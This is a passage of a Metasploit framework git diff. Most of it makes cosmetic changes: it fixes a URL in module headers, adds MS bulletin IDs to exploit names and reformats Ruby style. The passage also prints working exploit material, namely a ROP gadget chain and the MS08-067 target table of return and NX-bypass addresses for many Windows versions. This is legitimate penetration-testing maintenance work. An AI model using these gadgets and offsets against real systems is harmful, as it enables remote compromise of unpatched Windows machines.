DS:[EAX] # RETN [LibBKCCommon.dll] + 0x00405522, # PUSH EAX # TEST EAX,C0330042 # POP ESI # ADD ESP,6D8 # RETN [BKHOdeq.exe] + ].flatten.pack("V*") + rop_gadgets << rand_text(1752) # Padding because of the "ADD ESP,6D8" instr + rop_gadgets << [ + 0x61e62aa4, # POP EBP # RETN [LibBKCCommon.dll] + 0x61e648c0, # & push esp # ret [LibBKCCommon.dll] + 0x66f3243f, # POP EBX # RETN [libBKBEqrp.dll] + 0x00000001, # 0x00000001-> ebx + 0x61e729dd, # POP EDX # MOV EAX,5E5FFFFF # RETN [LibBKCCommon.dll] + 0x00001000, # 0x00001000-> edx + 0x63a93f6f, # POP ECX # RETN [libbkhopx.dll] + 0x00000040, # 0x00000040-> ecx + 0x63ad1f6a, # POP EDI # RETN [libbkhOdeq.dll] + 0x63dd3812, # RETN (ROP NOP) [libbkhCsSrch.dll] + 0x61e60b4c, # POP EAX # RETN [LibBKCCommon.dll] + 0x90909090, # nop + 0x63ae5cc3, # PUSHAD # RETN [libbkhOdbh.dll] + ].flatten.pack("V*") + + rop_gadgets + end + +end diff --git a/modules/exploits/windows/sip/aim_triton_cseq.rb b/modules/exploits/windows/sip/aim_triton_cseq.rb index 54e9046134..12e2bf20af 100644 --- a/modules/exploits/windows/sip/aim_triton_cseq.rb +++ b/modules/exploits/windows/sip/aim_triton_cseq.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/sip/sipxezphone_cseq.rb b/modules/exploits/windows/sip/sipxezphone_cseq.rb index e3d33e40c1..c26d264abb 100644 --- a/modules/exploits/windows/sip/sipxezphone_cseq.rb +++ b/modules/exploits/windows/sip/sipxezphone_cseq.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/sip/sipxphone_cseq.rb b/modules/exploits/windows/sip/sipxphone_cseq.rb index 09e1612b28..ae66736206 100644 --- a/modules/exploits/windows/sip/sipxphone_cseq.rb +++ b/modules/exploits/windows/sip/sipxphone_cseq.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/smb/ms03_049_netapi.rb b/modules/exploits/windows/smb/ms03_049_netapi.rb index 47c95af6c8..3bf00f05d6 100644 --- a/modules/exploits/windows/smb/ms03_049_netapi.rb +++ b/modules/exploits/windows/smb/ms03_049_netapi.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Microsoft Workstation Service NetAddAlternateComputerName Overflow', + 'Name' => 'MS03-049 Microsoft Workstation Service NetAddAlternateComputerName Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the NetApi32 NetAddAlternateComputerName function using the Workstation service in Windows XP. diff --git a/modules/exploits/windows/smb/ms04_007_killbill.rb b/modules/exploits/windows/smb/ms04_007_killbill.rb index 439e0d6c3b..7c125a2371 100644 --- a/modules/exploits/windows/smb/ms04_007_killbill.rb +++ b/modules/exploits/windows/smb/ms04_007_killbill.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Microsoft ASN.1 Library Bitstring Heap Overflow', + 'Name' => 'MS04-007 Microsoft ASN.1 Library Bitstring Heap Overflow', 'Description' => %q{ This is an exploit for a previously undisclosed vulnerability in the bit string decoding code in the diff --git a/modules/exploits/windows/smb/ms04_011_lsass.rb b/modules/exploits/windows/smb/ms04_011_lsass.rb index 6680a7a112..951d22c5a2 100644 --- a/modules/exploits/windows/smb/ms04_011_lsass.rb +++ b/modules/exploits/windows/smb/ms04_011_lsass.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -16,7 +16,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Microsoft LSASS Service DsRolerUpgradeDownlevelServer Overflow', + 'Name' => 'MS04-011 Microsoft LSASS Service DsRolerUpgradeDownlevelServer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the LSASS service, this vulnerability was originally found by eEye. When re-exploiting a Windows XP system, you will need diff --git a/modules/exploits/windows/smb/ms04_031_netdde.rb b/modules/exploits/windows/smb/ms04_031_netdde.rb index 1aa19477de..f985b40e7f 100644 --- a/modules/exploits/windows/smb/ms04_031_netdde.rb +++ b/modules/exploits/windows/smb/ms04_031_netdde.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Microsoft NetDDE Service Overflow', + 'Name' => 'MS04-031 Microsoft NetDDE Service Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the NetDDE service, which is the precursor to the DCOM interface. This exploit effects only operating systems diff --git a/modules/exploits/windows/smb/ms05_039_pnp.rb b/modules/exploits/windows/smb/ms05_039_pnp.rb index 34a8162902..9e978f40b5 100644 --- a/modules/exploits/windows/smb/ms05_039_pnp.rb +++ b/modules/exploits/windows/smb/ms05_039_pnp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Microsoft Plug and Play Service Overflow', + 'Name' => 'MS05-039 Microsoft Plug and Play Service Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the Windows Plug and Play service. This vulnerability can be exploited on diff --git a/modules/exploits/windows/smb/ms06_025_rasmans_reg.rb b/modules/exploits/windows/smb/ms06_025_rasmans_reg.rb index 94997122b2..db8d4bb5c2 100644 --- a/modules/exploits/windows/smb/ms06_025_rasmans_reg.rb +++ b/modules/exploits/windows/smb/ms06_025_rasmans_reg.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Microsoft RRAS Service RASMAN Registry Overflow', + 'Name' => 'MS06-025 Microsoft RRAS Service RASMAN Registry Overflow', 'Description' => %q{ This module exploits a registry-based stack buffer overflow in the Windows Routing and Remote Access Service. Since the service is hosted inside svchost.exe, diff --git a/modules/exploits/windows/smb/ms06_025_rras.rb b/modules/exploits/windows/smb/ms06_025_rras.rb index 2e7f8cff6f..62f2c5845b 100644 --- a/modules/exploits/windows/smb/ms06_025_rras.rb +++ b/modules/exploits/windows/smb/ms06_025_rras.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Microsoft RRAS Service Overflow', + 'Name' => 'MS06-025 Microsoft RRAS Service Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the Windows Routing and Remote Access Service. Since the service is hosted inside svchost.exe, a failed @@ -22,7 +22,7 @@ class Metasploit3 < Msf::Exploit::Remote When attacking XP SP1, the SMBPIPE option needs to be set to 'SRVSVC'. }, 'Author' => [ - 'Nicolas Pouvesle ', + 'Nicolas Pouvesle ', 'hdm' ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/windows/smb/ms06_040_netapi.rb b/modules/exploits/windows/smb/ms06_040_netapi.rb index f323c62764..f9e8cde4ad 100644 --- a/modules/exploits/windows/smb/ms06_040_netapi.rb +++ b/modules/exploits/windows/smb/ms06_040_netapi.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Microsoft Server Service NetpwPathCanonicalize Overflow', + 'Name' => 'MS06-040 Microsoft Server Service NetpwPathCanonicalize Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the NetApi32 CanonicalizePathName() function using the NetpwPathCanonicalize RPC call in the Server Service. It is likely that diff --git a/modules/exploits/windows/smb/ms06_066_nwapi.rb b/modules/exploits/windows/smb/ms06_066_nwapi.rb index ab6d374a3f..9b96ebf279 100644 --- a/modules/exploits/windows/smb/ms06_066_nwapi.rb +++ b/modules/exploits/windows/smb/ms06_066_nwapi.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Microsoft Services MS06-066 nwapi32.dll Module Exploit', + 'Name' => 'MS06-066 Microsoft Services nwapi32.dll Module Exploit', 'Description' => %q{ This module exploits a stack buffer overflow in the svchost service when the netware client service is running. This specific vulnerability is in the nwapi32.dll module. diff --git a/modules/exploits/windows/smb/ms06_066_nwwks.rb b/modules/exploits/windows/smb/ms06_066_nwwks.rb index 79a0991455..8f3a1e1f91 100644 --- a/modules/exploits/windows/smb/ms06_066_nwwks.rb +++ b/modules/exploits/windows/smb/ms06_066_nwwks.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Microsoft Services MS06-066 nwwks.dll Module Exploit', + 'Name' => 'MS06-066 Microsoft Services nwwks.dll Module Exploit', 'Description' => %q{ This module exploits a stack buffer overflow in the svchost service, when the netware client service is running. This specific vulnerability is in the nwapi32.dll module. diff --git a/modules/exploits/windows/smb/ms06_070_wkssvc.rb b/modules/exploits/windows/smb/ms06_070_wkssvc.rb index dac8657eaf..bc3c5fb11a 100644 --- a/modules/exploits/windows/smb/ms06_070_wkssvc.rb +++ b/modules/exploits/windows/smb/ms06_070_wkssvc.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Microsoft Workstation Service NetpManageIPCConnect Overflow', + 'Name' => 'MS06-070 Microsoft Workstation Service NetpManageIPCConnect Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the NetApi32 NetpManageIPCConnect function using the Workstation service in Windows 2000 SP4 and Windows XP SP2. diff --git a/modules/exploits/windows/smb/ms07_029_msdns_zonename.rb b/modules/exploits/windows/smb/ms07_029_msdns_zonename.rb index 13d698cbde..d652f02644 100644 --- a/modules/exploits/windows/smb/ms07_029_msdns_zonename.rb +++ b/modules/exploits/windows/smb/ms07_029_msdns_zonename.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Microsoft DNS RPC Service extractQuotedChar() Overflow (SMB)', + 'Name' => 'MS07-029 Microsoft DNS RPC Service extractQuotedChar() Overflow (SMB)', 'Description' => %q{ This module exploits a stack buffer overflow in the RPC interface of the Microsoft DNS service. The vulnerability is triggered diff --git a/modules/exploits/windows/smb/ms08_067_netapi.rb b/modules/exploits/windows/smb/ms08_067_netapi.rb index 0e7a226c01..6abb686312 100644 --- a/modules/exploits/windows/smb/ms08_067_netapi.rb +++ b/modules/exploits/windows/smb/ms08_067_netapi.rb @@ -1,23 +1,19 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## - require 'msf/core' - class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking - include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB - def initialize(info = {}) super(update_info(info, - 'Name' => 'Microsoft Server Service Relative Path Stack Corruption', + 'Name' => 'MS08-067 Microsoft Server Service Relative Path Stack Corruption', 'Description' => %q{ This module exploits a parsing flaw in the path canonicalization code of NetAPI32.dll through the Server Service. This module is capable of bypassing @@ -32,17 +28,17 @@ class Metasploit3 < Msf::Exploit::Remote [ 'hdm', # with tons of input/help/testing from the community 'Brett Moore ', - 'frank2 ', # check() detection + 'frank2 ', # check() detection 'jduck', # XP SP2/SP3 AlwaysOn DEP bypass ], 'License' => MSF_LICENSE, 'References' => [ - [ 'CVE', '2008-4250'], - [ 'OSVDB', '49243'], - [ 'MSB', 'MS08-067' ], + %w(CVE 2008-4250), + %w(OSVDB 49243), + %w(MSB MS08-067), # If this vulnerability is found, ms08-67 is exposed as well - [ 'URL', 'http://www.rapid7.com/vulndb/lookup/dcerpc-ms-netapi-netpathcanonicalize-dos'] + ['URL', 'http://www.rapid7.com/vulndb/lookup/dcerpc-ms-netapi-netpathcanonicalize-dos'] ], 'DefaultOptions' => { @@ -64,8 +60,7 @@ class Metasploit3 < Msf::Exploit::Remote # # Automatic targetting via fingerprinting # - [ 'Automatic Targeting', { 'auto' => true } ], - + ['Automatic Targeting', { 'auto' => true }], # # UNIVERSAL TARGETS @@ -75,22 +70,30 @@ class Metasploit3 < Msf::Exploit::Remote # Antoine's universal for Windows 2000 # Warning: DO NOT CHANGE THE OFFSET OF THIS TARGET # - [ 'Windows 2000 Universal', - { - 'Ret' => 0x001f1cb0, - 'Scratch' => 0x00020408, - } + ['Windows 2000 Universal', + { + 'Ret' => 0x001f1cb0, + 'Scratch' => 0x00020408, + } ], # JMP EDI SVCHOST.EXE # # Standard return-to-ESI without NX bypass # Warning: DO NOT CHANGE THE OFFSET OF THIS TARGET # - [ 'Windows XP SP0/SP1 Universal', - { - 'Ret' => 0x01001361, - 'Scratch' => 0x00020408, - } + ['Windows XP SP0/SP1 Universal', + { + 'Ret' => 0x01001361, + 'Scratch' => 0x00020408, + } + ], # JMP ESI SVCHOST.EXE + + # Standard return-to-ESI without NX bypass + ['Windows 2003 SP0 Universal', + { + 'Ret' => 0x0100129e, + 'Scratch' => 0x00020408, + } ], # JMP ESI SVCHOST.EXE # @@ -98,602 +101,602 @@ class Metasploit3 < Msf::Exploit::Remote # # jduck's AlwaysOn NX Bypass for XP SP2 - [ 'Windows XP SP2 English (AlwaysOn NX)', - { - # No pivot is needed, we drop into our rop - 'Scratch' => 0x00020408, - 'UseROP' => '5.1.2600.2180' - } + ['Windows XP SP2 English (AlwaysOn NX)', + { + # No pivot is needed, we drop into our rop + 'Scratch' => 0x00020408, + 'UseROP' => '5.1.2600.2180' + } ], # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP2 English (NX)', - { - 'Ret' => 0x6f88f727, - 'DisableNX' => 0x6f8916e2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP2 English (NX)', + { + 'Ret' => 0x6f88f727, + 'DisableNX' => 0x6f8916e2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL - # jduck's AlwaysOn NX Bypass for XP SP3 - [ 'Windows XP SP3 English (AlwaysOn NX)', - { - # No pivot is needed, we drop into our rop - 'Scratch' => 0x00020408, - 'UseROP' => '5.1.2600.5512' - } + ['Windows XP SP3 English (AlwaysOn NX)', + { + # No pivot is needed, we drop into our rop + 'Scratch' => 0x00020408, + 'UseROP' => '5.1.2600.5512' + } ], # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP3 English (NX)', - { - 'Ret' => 0x6f88f807, - 'DisableNX' => 0x6f8917c2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP3 English (NX)', + { + 'Ret' => 0x6f88f807, + 'DisableNX' => 0x6f8917c2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL - # Standard return-to-ESI without NX bypass - [ 'Windows 2003 SP0 Universal', - { - 'Ret' => 0x0100129e, - 'Scratch' => 0x00020408, - } - ], # JMP ESI SVCHOST.EXE - - - # Standard return-to-ESI without NX bypass - [ 'Windows 2003 SP1 English (NO NX)', - { - 'Ret' => 0x71bf21a2, - 'Scratch' => 0x00020408, - } - ], # JMP ESI WS2HELP.DLL - - # Brett Moore's crafty NX bypass for 2003 SP1 - [ 'Windows 2003 SP1 English (NX)', - { - 'RetDec' => 0x7c90568c, # dec ESI, ret @SHELL32.DLL - 'RetPop' => 0x7ca27cf4, # push ESI, pop EBP, ret @SHELL32.DLL - 'JmpESP' => 0x7c86fed3, # jmp ESP @NTDLL.DLL - 'DisableNX' => 0x7c83e413, # NX disable @NTDLL.DLL - 'Scratch' => 0x00020408, - } - ], - - - # Standard return-to-ESI without NX bypass - [ 'Windows 2003 SP1 Japanese (NO NX)', - { - 'Ret' => 0x71a921a2, - 'Scratch' => 0x00020408, - } - ], # JMP ESI WS2HELP.DLL - - - # Standard return-to-ESI without NX bypass - [ 'Windows 2003 SP2 English (NO NX)', - { - 'Ret' => 0x71bf3969, - 'Scratch' => 0x00020408, - } - ], # JMP ESI WS2HELP.DLL - - # Brett Moore's crafty NX bypass for 2003 SP2 - [ 'Windows 2003 SP2 English (NX)', - { - 'RetDec' => 0x7c86beb8, # dec ESI, ret @NTDLL.DLL - 'RetPop' => 0x7ca1e84e, # push ESI, pop EBP, ret @SHELL32.DLL - 'JmpESP' => 0x7c86a01b, # jmp ESP @NTDLL.DLL - 'DisableNX' => 0x7c83f517, # NX disable @NTDLL.DLL - 'Scratch' => 0x00020408, - } - ], - - # Standard return-to-ESI without NX bypass - [ 'Windows 2003 SP2 German (NO NX)', - { - 'Ret' => 0x71a03969, - 'Scratch' => 0x00020408, - } - ], # JMP ESI WS2HELP.DLL - - # Brett Moore's crafty NX bypass for 2003 SP2 - [ 'Windows 2003 SP2 German (NX)', - { - 'RetDec' => 0x7c98beb8, # dec ESI, ret @NTDLL.DLL - 'RetPop' => 0x7cb3e84e, # push ESI, pop EBP, ret @SHELL32.DLL - 'JmpESP' => 0x7c98a01b, # jmp ESP @NTDLL.DLL - 'DisableNX' => 0x7c95f517, # NX disable @NTDLL.DLL - 'Scratch' => 0x00020408, - } - ], - # # NON-ENGLISH TARGETS - AUTOMATICALLY GENERATED # # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP2 Arabic (NX)', - { - 'Ret' => 0x6fd8f727, - 'DisableNX' => 0x6fd916e2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP2 Arabic (NX)', + { + 'Ret' => 0x6fd8f727, + 'DisableNX' => 0x6fd916e2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP2 Chinese - Traditional / Taiwan (NX)', - { - 'Ret' => 0x5860f727, - 'DisableNX' => 0x586116e2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP2 Chinese - Traditional / Taiwan (NX)', + { + 'Ret' => 0x5860f727, + 'DisableNX' => 0x586116e2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP2 Chinese - Simplified (NX)', - { - 'Ret' => 0x58fbf727, - 'DisableNX' => 0x58fc16e2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP2 Chinese - Simplified (NX)', + { + 'Ret' => 0x58fbf727, + 'DisableNX' => 0x58fc16e2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP2 Chinese - Traditional (NX)', - { - 'Ret' => 0x5860f727, - 'DisableNX' => 0x586116e2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP2 Chinese - Traditional (NX)', + { + 'Ret' => 0x5860f727, + 'DisableNX' => 0x586116e2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP2 Czech (NX)', - { - 'Ret' => 0x6fe1f727, - 'DisableNX' => 0x6fe216e2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP2 Czech (NX)', + { + 'Ret' => 0x6fe1f727, + 'DisableNX' => 0x6fe216e2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP2 Danish (NX)', - { - 'Ret' => 0x5978f727, - 'DisableNX' => 0x597916e2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP2 Danish (NX)', + { + 'Ret' => 0x5978f727, + 'DisableNX' => 0x597916e2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP2 German (NX)', - { - 'Ret' => 0x6fd9f727, - 'DisableNX' => 0x6fda16e2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP2 German (NX)', + { + 'Ret' => 0x6fd9f727, + 'DisableNX' => 0x6fda16e2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP2 Greek (NX)', - { - 'Ret' => 0x592af727, - 'DisableNX' => 0x592b16e2, - 'Scratch' => 0x00020408 - } - ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL - - - # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP2 Spanish (NX)', - { - 'Ret' => 0x6fdbf727, - 'DisableNX' => 0x6fdc16e2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP2 Greek (NX)', + { + 'Ret' => 0x592af727, + 'DisableNX' => 0x592b16e2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP2 Finnish (NX)', - { - 'Ret' => 0x597df727, - 'DisableNX' => 0x597e16e2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP2 Spanish (NX)', + { + 'Ret' => 0x6fdbf727, + 'DisableNX' => 0x6fdc16e2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP2 French (NX)', - { - 'Ret' => 0x595bf727, - 'DisableNX' => 0x595c16e2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP2 Finnish (NX)', + { + 'Ret' => 0x597df727, + 'DisableNX' => 0x597e16e2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP2 Hebrew (NX)', - { - 'Ret' => 0x5940f727, - 'DisableNX' => 0x594116e2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP2 French (NX)', + { + 'Ret' => 0x595bf727, + 'DisableNX' => 0x595c16e2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP2 Hungarian (NX)', - { - 'Ret' => 0x5970f727, - 'DisableNX' => 0x597116e2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP2 Hebrew (NX)', + { + 'Ret' => 0x5940f727, + 'DisableNX' => 0x594116e2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP2 Italian (NX)', - { - 'Ret' => 0x596bf727, - 'DisableNX' => 0x596c16e2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP2 Hungarian (NX)', + { + 'Ret' => 0x5970f727, + 'DisableNX' => 0x597116e2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP2 Japanese (NX)', - { - 'Ret' => 0x567fd3be, - 'DisableNX' => 0x568016e2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP2 Italian (NX)', + { + 'Ret' => 0x596bf727, + 'DisableNX' => 0x596c16e2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP2 Korean (NX)', - { - 'Ret' => 0x6fd6f727, - 'DisableNX' => 0x6fd716e2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP2 Japanese (NX)', + { + 'Ret' => 0x567fd3be, + 'DisableNX' => 0x568016e2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP2 Dutch (NX)', - { - 'Ret' => 0x596cf727, - 'DisableNX' => 0x596d16e2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP2 Korean (NX)', + { + 'Ret' => 0x6fd6f727, + 'DisableNX' => 0x6fd716e2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP2 Norwegian (NX)', - { - 'Ret' => 0x597cf727, - 'DisableNX' => 0x597d16e2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP2 Dutch (NX)', + { + 'Ret' => 0x596cf727, + 'DisableNX' => 0x596d16e2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP2 Polish (NX)', - { - 'Ret' => 0x5941f727, - 'DisableNX' => 0x594216e2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP2 Norwegian (NX)', + { + 'Ret' => 0x597cf727, + 'DisableNX' => 0x597d16e2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP2 Portuguese - Brazilian (NX)', - { - 'Ret' => 0x596ff727, - 'DisableNX' => 0x597016e2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP2 Polish (NX)', + { + 'Ret' => 0x5941f727, + 'DisableNX' => 0x594216e2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP2 Portuguese (NX)', - { - 'Ret' => 0x596bf727, - 'DisableNX' => 0x596c16e2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP2 Portuguese - Brazilian (NX)', + { + 'Ret' => 0x596ff727, + 'DisableNX' => 0x597016e2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP2 Russian (NX)', - { - 'Ret' => 0x6fe1f727, - 'DisableNX' => 0x6fe216e2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP2 Portuguese (NX)', + { + 'Ret' => 0x596bf727, + 'DisableNX' => 0x596c16e2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP2 Swedish (NX)', - { - 'Ret' => 0x597af727, - 'DisableNX' => 0x597b16e2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP2 Russian (NX)', + { + 'Ret' => 0x6fe1f727, + 'DisableNX' => 0x6fe216e2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP2 Turkish (NX)', - { - 'Ret' => 0x5a78f727, - 'DisableNX' => 0x5a7916e2, - 'Scratch' 